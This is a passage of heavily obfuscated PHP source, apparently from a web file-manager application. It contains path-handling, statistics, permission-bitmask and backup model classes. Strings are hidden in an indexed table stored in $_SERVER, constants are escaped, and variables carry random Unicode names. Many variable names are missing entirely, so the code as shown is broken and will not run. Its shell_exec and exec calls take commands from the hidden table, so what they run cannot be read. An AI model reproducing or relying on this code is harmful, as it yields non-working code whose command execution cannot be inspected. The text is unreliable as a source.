trim(self::$_historyBase, $[8])) { return; } $ = IO::pathFather($ג); $ǐ௕ = IO::has($ג, !0); if ($ǐ௕[$[202]] > 0 || $ǐ௕[$[203]] > 0) { return; } IO::remove($ג); self::clearEmptyFolder($); } private static function getBasePath() { $ȧ =& $_SERVER[㫙]; $݇ = Model($ȧ[1234])->get($ȧ[1235]); if ($݇) { if (!IO::exist($݇)) { IO::mkdir($݇); } if (get_path_this($݇) == $ȧ[1220]) { $ި = $ȧ[1236] . rand_string(8); @rename($݇, get_path_father($݇) . $ȧ[8] . $ި); $݇ = DATA_PATH . $ި . $ȧ[8]; file_put_contents(DATA_PATH . $ȧ[1237], $ȧ[12]); Model($ȧ[1234])->set($ȧ[1235], $݇); } return $݇; } $݇ = DATA_PATH . $ȧ[1236] . rand_string(8) . $ȧ[8]; $݇ = IO::mkdir($݇); $݇ = rtrim($݇, $ȧ[8]) . $ȧ[8]; file_put_contents($݇ . $ȧ[1237], $ȧ[12]); file_put_contents(DATA_PATH . $ȧ[1237], $ȧ[12]); Model($ȧ[1234])->set($ȧ[1235], $݇); return $݇; } } class KodIO { const KOD_SOURCE = "\173\163\x6f\x75\162\143\x65\x7d"; const KOD_USER_RECYCLE = "\173\x75\163\145\162\x52\x65\x63\171\x63\x6c\x65\175"; const KOD_USER_FAV = "\173\x75\163\x65\162\x46\x61\166\x7d"; const KOD_USER_FILE_TAG = "\x7b\165\163\x65\162\106\x69\x6c\x65\x54\x61\x67\x7d"; const KOD_USER_FILE_TYPE = "\173\165\x73\x65\x72\106\x69\x6c\145\124\x79\160\145\175"; const KOD_GROUP_ROOT_SELF = "\173\x67\162\x6f\165\160\122\157\157\x74\123\x65\x6c\146\175"; const KOD_USER_SHARE = "\173\x75\163\145\x72\x53\150\x61\162\x65\175"; const KOD_USER_SHARE_LINK = "\x7b\x75\x73\145\x72\x53\x68\x61\x72\145\x4c\151\156\x6b\x7d"; const KOD_USER_SHARE_TO_ME = "\x7b\x73\x68\x61\162\145\124\157\115\145\x7d"; const KOD_SHARE_ITEM = "\173\163\150\141\x72\x65\x49\164\145\x6d\175"; const KOD_SHARE_LINK = "\173\x73\x68\141\x72\145\x49\164\x65\155\x4c\151\x6e\x6b\175"; const KOD_SEARCH = "\173\163\x65\x61\162\x63\x68\x7d"; const KOD_BLOCK = "\x7b\x62\154\x6f\143\x6b\175"; const KOD_IO = "\x7b\151\157\175"; const KOD_USER_RECENT = "\x7b\x75\x73\145\x72\122\x65\x6e\143\x65\x6e\164\175"; const KOD_USER_DRIVER = "\173\x64\162\x69\x76\x65\162\x7d"; public static function typeList() { $ܲ =& $_SERVER[㫙]; return array($ܲ[1238] => self::KOD_SOURCE, $ܲ[1239] => self::KOD_USER_RECYCLE, $ܲ[1240] => self::KOD_USER_FAV, $ܲ[1241] => self::KOD_USER_FILE_TAG, $ܲ[1242] => self::KOD_USER_FILE_TYPE, $ܲ[1243] => self::KOD_GROUP_ROOT_SELF, $ܲ[1244] => self::KOD_USER_SHARE, $ܲ[1245] => self::KOD_USER_SHARE_LINK, $ܲ[1246] => self::KOD_USER_SHARE_TO_ME, $ܲ[1247] => self::KOD_SHARE_ITEM, $ܲ[1248] => self::KOD_SHARE_LINK, $ܲ[1249] => self::KOD_SEARCH, $ܲ[1250] => self::KOD_BLOCK, $ܲ[1251] => self::KOD_IO, $ܲ[1252] => self::KOD_USER_RECENT, $ܲ[1253] => self::KOD_USER_DRIVER); } public static function parse($) { $ž =& $_SERVER[㫙]; $ = self::clear($); $چᣉ = array_values(self::typeList()); preg_match($ž[1254], $, $ǧǠ); $㽂 = array($ž[423] => !1, $ž[1255] => !1, $ž[420] => !1, $ž[78] => $, $ž[1164] => !1, $ž[1163] => $ž[12]); if (is_array($ǧǠ) && count($ǧǠ) == 5) { $‹ = $ž[1256] . $ǧǠ[2] . $ž[322]; if (in_array($‹, $چᣉ)) { $㽂[$ž[1164]] = $ǧǠ[1]; $㽂[$ž[33]] = $‹; $㽂[$ž[1257]] = substr($‹, 1, -1); $㽂[$ž[392]] = $ǧǠ[3]; } $㽂[$ž[1163]] = $ǧǠ[4]; } $ = array($ž[12], self::KOD_SOURCE, self::KOD_IO, self::KOD_SHARE_ITEM, self::KOD_SHARE_LINK, self::KOD_USER_DRIVER); $㽂[$ž[1219]] = in_array($㽂[$ž[33]], $); return $㽂; } public static function isTruePath($۝) { $Ϙ =& $_SERVER[㫙]; if (substr($۝, 0, 1) != $Ϙ[1256]) { return !0; } if (strpos($۝, $Ϙ[409]) === 0) { return !0; } if (strpos($۝, $Ϙ[1223]) === 0) { return !0; } if (strpos($۝, $Ϙ[1258]) === 0) { return !0; } if (strpos($۝, $Ϙ[1259]) === 0) { return !0; } if (strpos($۝, $Ϙ[1260]) === 0) { return !0; } return !1; } public static function clear($) { $ÇȾ =& $_SERVER[㫙]; $ = str_replace(array($ÇȾ[1074], $ÇȾ[226]), $ÇȾ[53], $); $ = str_replace($ÇȾ[98], $ÇȾ[8], $); $Ɋ͇ = $ÇȾ[1261]; if (substr($, 0, 3) == $ÇȾ[1262]) { $ = substr($, 3); } while (strstr($, $Ɋ͇)) { $ = str_replace($Ɋ͇, $ÇȾ[8], $); } $ = preg_replace($ÇȾ[1263], $ÇȾ[8], $); if ($ == $ÇȾ[8]) { return $ÇȾ[8]; } $ = rtrim($, $ÇȾ[8]); return $; } public static function sourceID($) { $Ŧ =& $_SERVER[㫙]; $ڇ = self::parse($); if ($ڇ[$Ŧ[33]] !== self::KOD_SOURCE) { show_json(LNG($Ŧ[1264]), !1); } return $ڇ[$Ŧ[392]]; } public static function make($) { if (!$) { return !1; } return self::makePath(self::KOD_SOURCE, intval($)); } public static function makeShare($, $ɢ) { return self::makePath(self::KOD_SHARE_ITEM, $, $ɢ); } public static function makeFileTypePath($ᮋ) { return self::makePath(self::KOD_USER_FILE_TYPE, $ᮋ); } public static function makeFileTagPath($ۃ) { return self::makePath(self::KOD_USER_FILE_TAG, $ۃ); } public static function makePath($܀٬, $™ = '', $ = '') { $ =& $_SERVER[㫙]; $و = substr($܀٬, 1, -1); $˖ = $[1265] . $و . $[1266] . $™ . $[1267]; $˖ = $ ? $˖ . $ . $[8] : $˖; return $˖; } public static function hashPath($, $զ = true) { $Lj =& $_SERVER[㫙]; $ = is_array($) ? $ : IO::info($); $ǃ = _get($, $Lj[1268], $Lj[12]); if (!$ǃ && isset($[$Lj[403]])) { $ = IO::info(KodIO::make($[$Lj[403]])); $ǃ = _get($, $Lj[1268], $Lj[12]); } if (!$ǃ && $զ) { $ = KodIO::parse($[$Lj[78]]); if (!$[$Lj[33]]) { $ǃ = IO::hashSimple($[$Lj[78]]); } } if (!$ǃ) { $ǃ = md5($[$Lj[78]] . $[$Lj[80]] . $[$Lj[86]]); } return $ǃ; } public static function initSystemPath() { $糺 =& $_SERVER[㫙]; if (defined($糺[1269])) { return; } define($糺[1269], self::systemPath($糺[1270])); define($糺[1271], self::systemPath($糺[1272])); define($糺[1273], self::systemPath($糺[1274])); define($糺[1275], self::systemPath($糺[1276])); IOHistory::bindEvent(); } public static function systemPath($ċ) { $ׅ =& $_SERVER[㫙]; $ӛ = $ׅ[1277] . ucfirst($ċ); $ = Model($ׅ[771])->get($ӛ); if ($) { return $; } if ($ċ == $ׅ[1270]) { $ = self::make(Model($ׅ[826])->systemRootPathAdd($ׅ[537])); } else { $ = self::systemPath($ׅ[1270]); $ = self::sourceID($); $ = self::make(Model($ׅ[826])->mkdir($, $ċ)); } Model($ׅ[771])->set($ӛ, $); return $; } public static function systemFolder($̔) { $Ӌ = IO_PATH_SYSTEM_SOURCE . $̔; $Ȩ = Cache::get($Ӌ); if (!$Ȩ) { $ = IO::infoFull($Ӌ); if (!$) { $Ȩ = IO::mkdir($Ӌ, REPEAT_SKIP); } else { $Ȩ = $[$_SERVER[㫙][78]]; } Cache::set($Ӌ, $Ȩ, 3600 * 10); } return $Ȩ; } public static function defaultDriver() { return Model($_SERVER[㫙][768])->defaultDriver(); } public static function defaultIO() { $ =& $_SERVER[㫙]; $ߥ = self::defaultDriver(); return $[1278] . $ߥ[$[392]] . $[1267]; } public static function defaultDriverInit() { static $ۙ = false; if ($ۙ) { return $ۙ; } $ۙ = IO::init(self::defaultIO()); return $ۙ; } public static function fileTypeList() { $ =& $_SERVER[㫙]; $ݒ = $GLOBALS[$[6]][$[1279]]; foreach ($ݒ as $ => $) { $· = $[1280] . $; $ = LNG($·); if ($· != $) { $ݒ[$][$[32]] = $; } } return $ݒ; } public static function diskList($ = true) { $ = $_SERVER[㫙][1281]; if ($) { $ = Cache::get($); if (is_array($)) { return $; } } $ = self::diskListGet(); Cache::set($, $, 60); return $; } public static function diskListGet() { $ =& $_SERVER[㫙]; $ٙ = array(); if ($GLOBALS[$[6]][$[1282]] == $[1283]) { $Ό = $[1284]; for ($ = 0; $ < strlen($Ό); $++) { $ = $Ό[$] . $[1285]; if (file_exists($)) { $ٙ[] = $; } } return $ٙ; } if (!function_exists($[99])) { $ٙ[] = $[836]; return $ٙ; } $ = explode($[226], shell_exec($[1286])); array_shift($); array_pop($); $ŀ = array($[1287], $[1288], $[1289], $[1290], $[1291], $[1292], $[1293], $[1294]); foreach ($ as $庈) { $̍ = preg_split($[1295], $庈); $ = $̍[count($̍) - 1]; if (!strstr($̍[0], $[1296]) || !$) { continue; } $і = rtrim($, $[8]) . $[8]; if (in_array($і, $ŀ)) { continue; } $ٙ[] = $і; } return $ٙ; } public static function isSameDisk($, $ɝ) { $۰ =& $_SERVER[㫙]; if ($GLOBALS[$۰[6]][$۰[1282]] == $۰[1283]) { return strtolower(substr($, 0, 1)) == strtolower(substr($ɝ, 0, 1)); } $ = self::diskList(); $ = !1; $Θ = !1; sort($); $ = array_reverse($); $ = rtrim($, $۰[8]) . $۰[8]; $ɝ = rtrim($ɝ, $۰[8]) . $۰[8]; foreach ($ as $) { $Ґ = strlen($); if (!$ && substr($, 0, $Ґ) == $) { $ = $; } if (!$Θ && substr($ɝ, 0, $Ґ) == $) { $Θ = $; } if ($ && $Θ) { break; } } return $ === $Θ; } public static function transferType($, $) { $ږݎ =& $_SERVER[㫙]; $諘 = self::driverType($); $ݍ = self::driverType($); if ($諘[$ږݎ[33]] == $ݍ[$ږݎ[33]] && $諘[$ږݎ[1297]] == $ݍ[$ږݎ[1297]]) { return $ږݎ[1298]; } if ($諘[$ږݎ[33]] == $ږݎ[865] && $ݍ[$ږݎ[33]] == $ږݎ[107]) { return $ږݎ[1193]; } if ($諘[$ږݎ[33]] == $ږݎ[107] && $ݍ[$ږݎ[33]] == $ږݎ[865]) { return $ږݎ[108]; } return $ږݎ[1299]; } public static function driverType($) { $ =& $_SERVER[㫙]; $φȽ = str_replace($[1300], $[12], strtolower($->getType())); if ($φȽ == $[759] || $φȽ == $[1301] || $φȽ == $[1302]) { $ = self::defaultDriverInit(); } else { if ($φȽ == $[1200] || $φȽ == $[1303]) { $ = IO::init($->pathParse[$[1147]]); } } $È = $->path; $φȽ = str_replace($[1300], $[12], strtolower($->getType())); if ($φȽ == $[107]) { return array($[33] => $[107], $[1297] => $[12], $[78] => $È); } return array($[33] => $[865], $[1297] => $->pathDriver, $[78] => $È); } public static function pathDriverType($) { return $ ? self::driverType(IO::init($)) : !1; } } goto a; b㌴: class AnalysisModel extends ModelBaseLight { public function init($ț) { $Ǐ =& $_SERVER[㫙]; $ń = array($Ǐ[594] => array($Ǐ[33] => $Ǐ[1747], $Ǐ[268] => array($Ǐ[219], $Ǐ[766], $Ǐ[1748], $Ǐ[1749])), $Ǐ[1750] => array($Ǐ[33] => $Ǐ[1751], $Ǐ[268] => array($Ǐ[219], $Ǐ[764], $Ǐ[1752], $Ǐ[1753], $Ǐ[1754]))); if (!isset($ń[$ț])) { return !1; } $this->optionType = $ń[$ț][$Ǐ[33]]; $this->field = $ń[$ț][$Ǐ[268]]; return !0; } public function listData($ϊ = false, $椴 = "\155\157\144\x69\x66\x79\x54\151\x6d\x65", $ʘ = false) { return parent::listData($ϊ, $椴, $ʘ); } public function trendList($􃳵) { $ =& $_SERVER[㫙]; $ޫ = $this->listData(); if ($ޫ) { $ = end($ޫ); $ٕ = date($[1755], strtotime($[1756])); if ($[$[219]] == $ٕ) { return $ޫ; } $ˮ = strtotime($[$[219]]); } if (!isset($ˮ)) { $ = $􃳵 == $[594] ? $[538] : $[826]; $ˮ = Model($)->min($[193]); } $ = $[1757] . ucfirst($􃳵); $ = $this->dateList($ˮ); foreach ($ as $ٕ) { $this->{$}($ٕ); } return $this->listData(); } private function dateList($ͦ) { $ =& $_SERVER[㫙]; $ = $ͦ; $ = strtotime($[1756]); $󊅎 = array(); while ($ <= $) { $󊅎[] = date($[1755], $); $ = strtotime($[1758], $); } return $󊅎; } public function _recordUser($ǁ = '') { $ќ =& $_SERVER[㫙]; $˱ = strtotime(date($ќ[1759], strtotime($ǁ))); $ = strtotime(date($ќ[1760], strtotime($ǁ))); $ = array($ќ[193] => array($ќ[1009], $)); $ = Model($ќ[538])->where($)->count($ќ[1650]); $[$ќ[193]] = array($ќ[328], array($˱, $)); $͡ = Model($ќ[538])->where($)->count($ќ[1650]); $[$ќ[33]] = $ќ[1761]; $ = Model($ќ[1762])->where($)->count($ќ[1763]); $ô = array($ќ[219] => $ǁ, $ќ[766] => (int) $, $ќ[1748] => (int) $͡, $ќ[1749] => (int) $); return $this->insert($ô); } public function _recordStore($Ԍ = '') { $˙ =& $_SERVER[㫙]; $ï = strtotime(date($˙[1760], strtotime($Ԍ))); $Ѭ = array($˙[193] => array($˙[1009], $ï)); $୫ = Model($˙[470])->where($Ѭ)->sum($˙[80]); $Ѭ[$˙[411]] = 0; $ل = Model($˙[826])->where($Ѭ)->sum($˙[80]); $Ѭ[$˙[412]] = 1; $ = Model($˙[826])->where($Ѭ)->sum($˙[80]); $Ѭ[$˙[412]] = 2; $畦 = Model($˙[826])->where($Ѭ)->sum($˙[80]); $ = array($˙[219] => $Ԍ, $˙[764] => (int) $ل, $˙[1752] => (int) $୫, $˙[1753] => (int) $, $˙[1754] => (int) $畦); return $this->insert($); } public function trend($, $ᗱ) { $Ӹ =& $_SERVER[㫙]; if (!$this->init($)) { return !1; } $ˌַ = $this->trendList($); if ($ˌַ && $ᗱ != $Ӹ[1623]) { $ˑ = $ˌַ[0][$Ӹ[219]]; $ = $this->validDate($ᗱ, $ˑ); $՛ = array(); $Ձ = array_to_keyvalue($ˌַ, $Ӹ[219]); foreach ($ as $۰ޭ) { if (isset($Ձ[$۰ޭ])) { $ނ = $Ձ[$۰ޭ]; } else { $ނ = end($ˌַ); $ނ[$Ӹ[219]] = $۰ޭ; if ($ == $Ӹ[594]) { $ނ[$Ӹ[1748]] = $ނ[$Ӹ[1749]] = 0; } } $՛[] = $ނ; } $ˌַ = $՛; } $ = array($Ӹ[594] => array($Ӹ[766] => LNG($Ӹ[1764]), $Ӹ[1748] => LNG($Ӹ[1765]), $Ӹ[1749] => LNG($Ӹ[1766])), $Ӹ[1750] => array($Ӹ[764] => LNG($Ӹ[1767]), $Ӹ[1752] => LNG($Ӹ[1768]), $Ӹ[1753] => LNG($Ӹ[1769]), $Ӹ[1754] => LNG($Ӹ[1770]))); $먕ӊ = array($Ӹ[594] => $Ӹ[1771], $Ӹ[1750] => $Ӹ[80]); if (empty($ˌַ)) { $۰ޭ = date($Ӹ[1755], strtotime($Ӹ[1756])); $ = array($Ӹ[219] => $۰ޭ); foreach ($[$] as $ά => $Ԍč) { $[$ά] = 0; } $ˌַ[] = $; } $׬ = array(); foreach ($ˌַ as $Ԍč) { if ($ == $Ӹ[1750] && $Ԍč[$Ӹ[1752]] > $Ԍč[$Ӹ[764]]) { $Ԍč[$Ӹ[1752]] = $Ԍč[$Ӹ[764]]; } foreach ($[$] as $ά => $狼) { $ނ = array($Ӹ[219] => $Ԍč[$Ӹ[219]], $Ӹ[1548] => $狼); $ނ[$먕ӊ[$]] = isset($Ԍč[$ά]) ? $Ԍč[$ά] : 0; $׬[] = $ނ; } } return $׬; } public function validDate($혓, $󐤾) { $ݾڊ =& $_SERVER[㫙]; $ = date($ݾڊ[1755], strtotime($ݾڊ[1756])); $ = array($); switch ($혓) { case $ݾڊ[1630]: $گ = mktime(0, 0, 0, date($ݾڊ[1772]), date($ݾڊ[1369]) - date($ݾڊ[1432]) + 7 - 7, date($ݾڊ[1773])); $ݮ = 0; do { $ȥ = date($ݾڊ[1755], $گ - 3600 * 24 * 7 * $ݮ); $[] = $ȥ; $ݮ++; } while ($󐤾 < $ȥ); break; case $ݾڊ[1628]: $ݮ = 1; do { $ = date($ݾڊ[1774], strtotime("\x2d\40{$ݮ}\40\155\x6f\x6e\x74\150\163")); $[] = $; $ݮ++; } while ($󐤾 < $); break; case $ݾڊ[1775]: $񵓕 = (int) date($ݾڊ[1773], strtotime($󐤾)); $Ӳ = (int) date($ݾڊ[1773]); if ($񵓕 >= $Ӳ) { break; } for ($񵓕; $񵓕 < $Ӳ; $񵓕++) { $[] = $񵓕 . $ݾڊ[1776]; } break; default: break; } if ($󐤾 > end($)) { array_pop($); } sort($); return $; } public function listTable($) { $ӆ = ucfirst($); return Model($ӆ)->listData(); } public function option($ۇ) { $ﭗ = $_SERVER[㫙][1777] . ucfirst($ۇ); return $this->{$ﭗ}(); } private function optionUser() { $ =& $_SERVER[㫙]; $־ = Model($[538])->count($[1650]); $Ǭت = Model($[538])->where($[1778])->count($[1650]); $᳖ = intval($GLOBALS[$[6]][$[344]][$[1606]]) / 3600; $в = strtotime("\x2d{$᳖}\x20\150\157\165\162\x73"); $ = strtotime(date($[1759])); if ($в < $) { $в = $; } $ = array($[1779] => array($[1010], $в)); $ۘ䬾 = (int) Model($[538])->where($)->count($[1650]); if (!$ۘ䬾) { $ۘ䬾 = 1; } $ = array($[1779] => array($[1010], $)); $׿ = Model($[538])->where($)->count($[1650]); return array($[760] => (int) $־, $[1780] => (int) ($־ - $Ǭت), $[1781] => (int) $Ǭت, $[1782] => (int) $׿, $[1783] => $ۘ䬾); } private function optionFile() { $ =& $_SERVER[㫙]; $ = $this->sourceSize(); $͝ = $[$[80]]; $ = $[$[1752]]; $ʻ۸ = Model($[826])->where(array($[411] => 0))->count($[403]); $翺 = array($[411] => 0, $[193] => array($[1010], strtotime(date($[1759])))); $ʄ = Model($[826])->where($翺)->sum($[80]); $틴 = Model($[826])->where($翺)->count($[403]); return array($[764] => $͝, $[1752] => $, $[1784] => $͝ - $, $[1785] => (int) $ʄ, $[766] => (int) $ʻ۸, $[1786] => (int) $틴); } private function optionAccess() { $ឦ =& $_SERVER[㫙]; return array($ឦ[760] => $this->typeLogCnt(), $ឦ[108] => $this->typeLogCnt($ឦ[108]), $ឦ[450] => $this->typeLogCnt($ឦ[450]), $ឦ[1787] => $this->typeLogCnt($ឦ[1787]), $ឦ[1788] => $this->typeLogCnt($ឦ[1788]), $ឦ[594] => $this->typeLogCnt($ឦ[12], $ឦ[1763])); } private function typeLogCnt($ = '', $̘ = "\x69\144") { $ݿ͹ =& $_SERVER[㫙]; $ڽ = array($ݿ͹[108] => array($ݿ͹[1789], $ݿ͹[1790]), $ݿ͹[450] => array($ݿ͹[1791], $ݿ͹[1792]), $ݿ͹[1787] => array($ݿ͹[1793], $ݿ͹[1794], $ݿ͹[1795]), $ݿ͹[1788] => array($ݿ͹[1796], $ݿ͹[1797]), $ݿ͹[1798] => array($ݿ͹[1799], $ݿ͹[1800], $ݿ͹[1801])); $Ԩ = strtotime(date($ݿ͹[1759])); $ = array($ݿ͹[193] => array($ݿ͹[1010], $Ԩ)); if ($) { $[$ݿ͹[33]] = array($ݿ͹[7], $ڽ[$]); } $⊘ = Model($ݿ͹[1762])->where($)->count($̘); return (int) $⊘; } private function optionServer() { $ =& $_SERVER[㫙]; $ = $this->diskDriver(); $ز = KodIO::defaultDriver(); $ʖ = array($[818] => $ز[$[392]]); $ = Model($[470])->where($ʖ)->sum($[80]); $ = explode($[53], $_SERVER[$[140]]); $̕ = $[0]; $꽔 = $GLOBALS[$[6]][$[21]]; $ߥʝ = $꽔[$[972]]; if ($ߥʝ == $[960]) { $ã = explode($[1266], $꽔[$[971]]); $ߥʝ = $ã[0]; } if ($ߥʝ == $[908] || $ߥʝ == $[805]) { $蕙 = Model()->db()->query($[1802]); $ = $蕙[0] && isset($蕙[0][$[1547]]) ? $蕙[0][$[1547]] : 0; $ߥʝ = $[1803] . ($ ? $[8] . $ : $[12]); } $ኡ = $GLOBALS[$[6]][$[344]][$[828]]; return array($[1804] => $ ? $[$[1805]] : 0, $[1806] => $ ? $[$[1807]] : 0, $[1808] => (int) $ز[$[1805]] * 1024 * 1024 * 1024, $[1809] => (int) $, $[1810] => ucfirst($̕), $[1811] => $[1812] . PHP_VERSION, $[1813] => phpBuild64() ? 64 : 32, $[759] => str_replace($[1126], $[988], $ߥʝ), $[344] => ucfirst($ኡ), $[32] => $_SERVER[$[1814]]); } private function diskDriver() { $盯 =& $_SERVER[㫙]; $ = $盯[8]; $ = $GLOBALS[$盯[6]][$盯[1282]] == $盯[1283]; if ($) { $ = $盯[1815]; if (function_exists($盯[1816])) { exec($盯[1817], $΋); $ = $΋[1] . $盯[8]; } } if (!file_exists($)) { return; } $ބ = @disk_total_space($); $ = $ބ - @disk_free_space($); return array($盯[1805] => $ބ, $盯[1807] => $); } public function fileChart($) { $ۨ =& $_SERVER[㫙]; if (isset($[$ۨ[1650]])) { return Model($ۨ[826])->userFileTypeProfile($[$ۨ[1650]]); } if (isset($[$ۨ[1818]])) { return Model($ۨ[826])->groupFileTypeProfile($[$ۨ[1818]]); } $ = $this->sourceSize(); $ = array($ۨ[498] => 0, $ۨ[412] => 1); $ = Model($ۨ[826])->where($)->sum($ۨ[80]); $[$ۨ[412]] = 2; $« = Model($ۨ[826])->where($)->sum($ۨ[80]); return array($ۨ[764] => $[$ۨ[80]], $ۨ[1752] => $[$ۨ[1752]], $ۨ[1753] => (int) $, $ۨ[1754] => (int) $«); } private function sourceSize() { $ɘҬ =& $_SERVER[㫙]; $֖ = Model($ɘҬ[826])->where(array($ɘҬ[411] => 0))->sum($ɘҬ[80]); $ = Model($ɘҬ[470])->sum($ɘҬ[80]); if ($ > $֖) { $ = $֖; } return array($ɘҬ[80] => (int) $֖, $ɘҬ[1752] => (int) $); } } class AuthModel extends ModelBaseLight { const AUTH_SHOW = 1; const AUTH_VIEW = 2; const AUTH_DOWNLOAD = 4; const AUTH_UPLOAD = 8; const AUTH_EDIT = 16; const AUTH_REMOVE = 32; const AUTH_SHARE = 64; const AUTH_COMMENT = 128; const AUTH_EVENT = 256; const AUTH_ROOT = 33554432; public static function authAll() { return self::AUTH_SHOW | self::AUTH_VIEW | self::AUTH_DOWNLOAD | self::AUTH_UPLOAD | self::AUTH_EDIT | self::AUTH_REMOVE | self::AUTH_SHARE | self::AUTH_COMMENT | self::AUTH_EVENT | self::AUTH_ROOT; } public static function authDefault() { $ =& $_SERVER[㫙]; $ = array(array($[421] => LNG($[1819]), $[1820] => $[1821], $[1822] => 1, $[1823] => 1, $[1824] => self::AUTH_SHOW | self::AUTH_VIEW | self::AUTH_DOWNLOAD | self::AUTH_UPLOAD | self::AUTH_EDIT | self::AUTH_REMOVE | self::AUTH_SHARE | self::AUTH_COMMENT | self::AUTH_EVENT), array($[421] => LNG($[1825]), $[1820] => $[1826], $[1822] => 2, $[1823] => 1, $[1824] => self::AUTH_SHOW | self::AUTH_VIEW | self::AUTH_DOWNLOAD | self::AUTH_UPLOAD | self::AUTH_EDIT | self::AUTH_COMMENT | self::AUTH_EVENT), array($[421] => LNG($[1827]), $[1820] => $[1828], $[1822] => 3, $[1823] => 1, $[1824] => self::AUTH_SHOW | self::AUTH_VIEW | self::AUTH_DOWNLOAD | self::AUTH_COMMENT | self::AUTH_EVENT), array($[421] => LNG($[1829]), $[1820] => $[1830], $[1822] => 4, $[1823] => 1, $[1824] => self::AUTH_SHOW | self::AUTH_VIEW), array($[421] => LNG($[1831]), $[1820] => $[1832], $[1822] => 5, $[1823] => 1, $[1824] => self::AUTH_SHOW | self::AUTH_UPLOAD), array($[421] => LNG($[1833]), $[1820] => $[1834], $[1822] => 6, $[1823] => 1, $[1824] => self::AUTH_SHOW | self::AUTH_VIEW | self::AUTH_DOWNLOAD | self::AUTH_UPLOAD | self::AUTH_EDIT | self::AUTH_REMOVE | self::AUTH_SHARE | self::AUTH_COMMENT | self::AUTH_EVENT | self::AUTH_ROOT), array($[421] => LNG($[1835]), $[1820] => $[1836], $[1822] => 7, $[1823] => 1, $[1824] => 0)); return $; } public static function authCheck($̥, $ݧ) { $̥ = intval($̥); if ($GLOBALS[$_SERVER[㫙][505]]) { return !0; } if ($̥ <= 0) { return !1; } if (($̥ & self::AUTH_ROOT) == self::AUTH_ROOT) { return !0; } return !!($̥ & $ݧ); } public static function authCheckShow($ߌ) { return self::authCheck($ߌ, self::AUTH_SHOW); } public static function authCheckView($) { return self::authCheck($, self::AUTH_VIEW); } public static function authCheckDownload($ż) { return self::authCheck($ż, self::AUTH_DOWNLOAD); } public static function authCheckUpload($Ɛ) { return self::authCheck($Ɛ, self::AUTH_UPLOAD); } public static function authCheckEdit($¡) { return self::authCheck($¡, self::AUTH_EDIT); } public static function authCheckRemove($) { return self::authCheck($, self::AUTH_REMOVE); } public static function authCheckShare($) { return self::authCheck($, self::AUTH_SHARE); } public static function authCheckComment($) { return self::authCheck($, self::AUTH_COMMENT); } public static function authCheckEvent($ͷ) { return self::authCheck($ͷ, self::AUTH_EVENT); } public static function authCheckRoot($) { return self::authCheck($, self::AUTH_ROOT); } public static function authCheckAction($ў, $) { $ =& $_SERVER[㫙]; $ = array($[1837] => self::AUTH_VIEW, $[1193] => self::AUTH_DOWNLOAD, $[108] => self::AUTH_UPLOAD, $[1788] => self::AUTH_EDIT, $[1787] => self::AUTH_REMOVE, $[1798] => self::AUTH_SHARE, $[349] => self::AUTH_COMMENT, $[1638] => self::AUTH_EVENT, $[1838] => self::AUTH_ROOT); if (!isset($[$])) { return; } $ג = $[$]; $ў = intval($ў); if ($ў <= 0) { return !1; } if (($ў & self::AUTH_ROOT) == self::AUTH_ROOT) { return !0; } return !!($ў & $ג); } public static function authDisable($Թ۱, $) { if (intval($Թ۱) <= 0) { return 0; } return intval($Թ۱) & ~$; } public $optionType = "\123\171\163\164\x65\x6d\x2e\163\x6f\165\162\143\145\x41\x75\x74\x68\x4c\x69\163\164"; public $field = array("\156\x61\155\x65", "\x61\165\x74\150", "\154\x61\x62\145\x6c", "\144\151\x73\x70\x6c\141\x79", "\163\171\x73\164\x65\x6d", "\163\157\x72\164"); public function initData() { $ӻڏ = $this->authDefault(); foreach ($ӻڏ as $) { $this->add($); } } public function findAuth($ڙ, $쐺) { $ =& $_SERVER[㫙]; $ƣݢ = parent::listData(); foreach ($ƣݢ as $) { $Ɋ = intval($[$[414]]); if ($Ɋ <= 0 || $[$[1839]] == 0) { continue; } if (($Ɋ & $ڙ) != $ڙ) { continue; } if (($Ɋ & $쐺) != 0) { continue; } return $[$[392]]; } return !1; } public function findAuthReadOnly() { $҆ = self::AUTH_SHOW | self::AUTH_VIEW | self::AUTH_DOWNLOAD; $鎦 = self::AUTH_UPLOAD | self::AUTH_EDIT | self::AUTH_REMOVE; return $this->findAuth($҆, $鎦); } public function findAuthNotRead() { return $this->findAuth(0, self::AUTH_SHOW); } public function listData($ۂ뽽 = false, $зٱ = "\x73\x6f\x72\164", $֨ƥ = false) { return parent::listData($ۂ뽽, $зٱ, $֨ƥ); } public function update($, $좑) { $ =& $_SERVER[㫙]; $ = parent::listData($); $ = $this->findByName($좑[$[32]]); if (!$ || $ && $[$[392]] != $[$[392]]) { return !1; } $this->filterAuth($좑[$[414]]); return parent::update($, $좑); } public function remove($) { $ѽ = parent::listData($); if (!$ѽ || $ѽ[$_SERVER[㫙][1270]]) { return !1; } return parent::remove($); } public function add($˻ = array()) { $ź =& $_SERVER[㫙]; if ($this->findByName($˻[$ź[32]])) { return !1; } $ҋ = array($ź[32] => $ź[12], $ź[414] => 1, $ź[1840] => $ź[1828], $ź[1839] => 1, $ź[1270] => 0, $ź[1841] => 0); $˻ = array_merge($ҋ, $˻); $˻[$ź[1841]] = $this->getSort(); $this->filterAuth($˻[$ź[414]]); return parent::insert($˻); } private function getSort() { $ =& $_SERVER[㫙]; $ = parent::listData(); $풶 = array_to_keyvalue($, $[12], $[1841]); return empty($풶) ? 0 : max($풶) + 1; } private function filterAuth(&$ꥦ) { if (!$ꥦ) { return; } $ﳎ = array(self::AUTH_SHOW, self::AUTH_VIEW, self::AUTH_DOWNLOAD, self::AUTH_UPLOAD, self::AUTH_EDIT, self::AUTH_REMOVE, self::AUTH_SHARE, self::AUTH_COMMENT, self::AUTH_EVENT, self::AUTH_ROOT); $䔶 = array(); foreach ($ﳎ as $) { if ($ꥦ & $) { $䔶[] = $; } } if (in_array(self::AUTH_ROOT, $䔶)) { $ꥦ = array_sum($ﳎ); return; } $ՠÔ = array(self::AUTH_DOWNLOAD => array(self::AUTH_VIEW), self::AUTH_EDIT => array(self::AUTH_VIEW), self::AUTH_REMOVE => array(self::AUTH_EDIT), self::AUTH_SHARE => array(self::AUTH_VIEW, self::AUTH_DOWNLOAD, self::AUTH_UPLOAD, self::AUTH_EDIT)); foreach ($䔶 as $) { if (isset($ՠÔ[$])) { $䔶 = array_merge($䔶, $ՠÔ[$]); } } $䔶[] = self::AUTH_SHOW; $ꥦ = array_sum(array_unique($䔶)); } public function sort($О, $߿ʃ) { return parent::update($О, $߿ʃ); } } class BackupModel extends ModelBaseLight { public $optionType = "\123\x79\x73\x74\x65\155\56\142\x61\143\153\x75\x70\x4c\151\x73\x74"; public $field = array("\x69\x6f", 